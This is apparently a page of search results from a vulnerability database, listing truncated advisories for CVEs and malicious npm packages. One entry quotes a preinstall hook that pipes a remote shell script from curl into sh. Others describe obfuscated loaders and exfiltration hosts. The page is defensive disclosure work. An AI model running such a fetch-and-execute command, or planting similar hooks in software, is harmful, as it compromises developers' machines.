8133 matches found
EUVD-2026-54235
Dinky's POST /download/uploadFromRsByLocal handler passes the caller-supplied path parameter directly to new Filepath and file.transferTodest with no path validation. The route is marked @SaIgnore and /download/ is excluded from the Sa-Token interceptor, so the only guard is a header equality che...
MAL-2026-13483 Malicious code in internallib_v514 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare interna...
CVE-2026-70558
Dinky's POST /download/uploadFromRsByLocal handler passes the caller-supplied path parameter directly to new Filepath and file.transferTodest with no path validation. The route is marked @SaIgnore and /download/ is excluded from the Sa-Token interceptor, so the only guard is a header equality che...
CVE-2026-70558
Dinky CVE-2026-70558 affects the v1.2.5 release and development branch. The vulnerable component is the POST /download/uploadFromRsByLocal handler, which passes a caller-supplied path directly to new File(path) and file.transferTo(dest) with no path validation. The route is SaIgnore’d and /downlo...
CVE-2026-70558 Dinky Unauthenticated Arbitrary File Write via /download/uploadFromRsByLocal Gated Only by Hardcoded Default Token
Dinky's POST /download/uploadFromRsByLocal handler passes the caller-supplied path parameter directly to new Filepath and file.transferTodest with no path validation. The route is marked @SaIgnore and /download/ is excluded from the Sa-Token interceptor, so the only guard is a header equality che...
CVE-2026-70558 Dinky Unauthenticated Arbitrary File Write via /download/uploadFromRsByLocal Gated Only by Hardcoded Default Token
Dinky's POST /download/uploadFromRsByLocal handler passes the caller-supplied path parameter directly to new Filepath and file.transferTodest with no path validation. The route is marked @SaIgnore and /download/ is excluded from the Sa-Token interceptor, so the only guard is a header equality che...
Malicious code in diezyyasha-baileys (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1a8260f399be3238031864bd71945720155775a2de8e952a25225337257fd745 diezyyasha-baileys is a fork of the Baileys WhatsApp library that contains an obfuscated network destination in lib/Socket/messages-send.js. At lines...
MAL-2026-13443 Malicious code in diezyyasha-baileys (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1a8260f399be3238031864bd71945720155775a2de8e952a25225337257fd745 diezyyasha-baileys is a fork of the Baileys WhatsApp library that contains an obfuscated network destination in lib/Socket/messages-send.js. At lines...
MAL-2026-13424 Malicious code in tailwindcss-hide-scrollbar (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ac906893a6ea1562025bfa35bf4f1998cfd745619f21c4dc3880aa386dc3cfe1 dist/index.js exports a small tailwind scrollbar-hide plugin followed by a trailing evalatob'' that executes on every require/import of the package...
Malicious code in tailwindcss-hide-scrollbar (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ac906893a6ea1562025bfa35bf4f1998cfd745619f21c4dc3880aa386dc3cfe1 dist/index.js exports a small tailwind scrollbar-hide plugin followed by a trailing evalatob'' that executes on every require/import of the package...
Malicious code in agenttunnels (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 264711675c5edabf4f3d0b1d544ca8bade34057c973ca614c82bca3cf8bdd5a1 agenttunnels ships an MCP bridge whose customer-role tools accept payloads from a remote session worker agenttunnels-session.lakshman111.workers.dev...
Malicious code in @activepieces/piece-google-contacts (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8e200ba4f9d11d42636dbbd1fa698843321af8b0bd23ff63493c0ce94891a5cb src/index.js imports childprocess and issues POST requests alongside a ping command invocation lines 25, 38, 49. The co-occurrence of childprocess...
Malicious code in @activepieces/piece-google-forms (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 06d347d6252c2a1bb21b4318c0a319be36d60a95b4146d91108cee13d52c5759 The published tarball for @activepieces/piece-google-forms 0.5.7 contains src/index.js which imports childprocess, invokes ping-style OS command...
MAL-2026-13402 Malicious code in jagproject (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2fc5aa3a28b53c63f65ab724aebe774c23f737686f5db7411bfa871fa4f7eced lib/Socket/messages-send.js contains network destinations reconstructed via String.fromCharCode... arrays that decode to https://fiora.nixel.my.id/...
Malicious code in golaaa (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 43f9a2a9514f30f4def10f6a0a21b4abf4f882fa29a45c6b7c93e96490f49c13 The package's main module cdpinject.js runs on require. It disables TLS certificate verification process-wide...
MAL-2026-13392 Malicious code in golaaa (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 43f9a2a9514f30f4def10f6a0a21b4abf4f882fa29a45c6b7c93e96490f49c13 The package's main module cdpinject.js runs on require. It disables TLS certificate verification process-wide...
CVE-2026-14829 Checkimate <= 1.0.13 - Unauthenticated License Deactivation via Hardcoded Secret
The Checkimate — WooCommerce Checkout, Abandoned Cart Recovery & Order Bumps WordPress plugin through 1.0.13 does not properly restrict access to its license-management functionality, relying on a shared secret computed entirely from publicly available information, allowing unauthenticated...
CVE-2026-14829
The CVE concerns the Checkimate — WooCommerce Checkout, Abandoned Cart Recovery & Order Bumps WordPress plugin (
EUVD-2025-210622
My Safetipin Android Application 5.2.1 contains Hardcoded credentials in the authentication module, which allows remote attackers to bypass authentication and gain unauthorized access to user accounts via predictable OTP values...
CVE-2025-63823
My Safetipin Android Application 5.2.1 contains Hardcoded credentials in the authentication module, which allows remote attackers to bypass authentication and gain unauthorized access to user accounts via predictable OTP values...